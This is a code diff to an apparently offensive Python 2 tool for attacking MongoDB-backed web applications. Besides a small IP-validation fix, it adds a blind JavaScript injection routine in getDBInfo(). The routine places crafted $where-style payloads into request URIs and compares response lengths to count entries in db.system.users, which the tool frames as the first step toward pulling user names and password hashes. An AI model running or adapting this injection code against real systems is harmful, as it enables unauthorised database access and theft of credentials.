@@ -137,9 +137,36 @@ def options():
137
137
select = raw_input ("Select an option: " )
138
138
139
139
if select == "1" :
140
- victim = raw_input ("Enter the host IP/DNS name: " )
141
- print "\n Target set to " + victim + "\n "
142
- optionSet [0 ] = True
140
+ #Unset the boolean since we're setting it again.
141
+ optionSet [0 ] = False
142
+ goodLen = False
143
+ goodDigits = False
144
+ while optionSet [0 ] == False :
145
+ victim = raw_input ("Enter the host IP/DNS name: " )
146
+ #make sure we got a valid IP
147
+ octets = victim .split ("." )
148
+ #If there aren't 4 octets, toss an error.
149
+ if len (octets ) != 4 :
150
+ print "Invalid IP length."
151
+
152
+ else :
153
+ goodLen = True
154
+
155
+ if goodLen == True :
156
+ #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
157
+ for item in octets :
158
+ if int (item ) < 0 or int (item ) > 255 :
159
+ print "Bad octet in IP address."
160
+ goodDigits = False
161
+
162
+ else :
163
+ goodDigits = True
164
+
165
+
166
+ #If everything checks out set the IP and break the loop
167
+ if goodLen == True and goodDigits == True :
168
+ print "\n Target set to " + victim + "\n "
169
+ optionSet [0 ] = True
143
170
options ()
144
171
145
172
elif select == "2" :
@@ -719,7 +746,7 @@ def webApps():
719
746
else :
720
747
print "Integer attack-Unsuccessful"
721
748
722
- fileOut = raw_input ("Save results to file?" )
749
+ fileOut = raw_input ("Save results to file? " )
723
750
724
751
if fileOut == "y" or fileOut == "Y" :
725
752
savePath = raw_input ("Enter output file name: " )
@@ -1080,9 +1107,11 @@ def getDBInfo():
1080
1107
gotDbName = False
1081
1108
gotColLen = False
1082
1109
gotColName = False
1110
+ gotUserCnt = False
1083
1111
dbName = ""
1084
1112
charCounter = 0
1085
1113
nameCounter = 0
1114
+ usrCount = 0
1086
1115
chars = string .ascii_letters + string .digits
1087
1116
print "Getting baseline True query return size..."
1088
1117
trueUri = uriArray [16 ].replace ("---" ,"return true; var dummy ='!" + "&" )
@@ -1127,7 +1156,24 @@ def getDBInfo():
1127
1156
1128
1157
else :
1129
1158
charCounter += 1
1130
- print "\n "
1159
+ print "\n "
1160
+
1161
+ getUserInf = raw_input ("Get database users and password hashes? " )
1162
+
1163
+ if getUserInf == "y" or getUserInf == "Y" :
1164
+ while gotUserCnt == False :
1165
+ usrCntUri = uriArray [16 ].replace ("---" ,"var usrcnt = db.system.users.count(); if (usrcnt == " + str (usrCount ) + ") { return true; } var dum='a" )
1166
+ lenUri = int (len (urllib .urlopen (usrCntUri ).read ()))
1167
+
1168
+ if lenUri == baseLen :
1169
+ print "Found " + str (usrCount ) + " user(s)."
1170
+ gotUserCnt = True
1171
+
1172
+ else :
1173
+ usrCount += 1
1174
+
1175
+
1176
+
1131
1177
raw_input ("Press enter to continue..." )
1132
1178
1133
1179
mainMenu ()
0 commit comments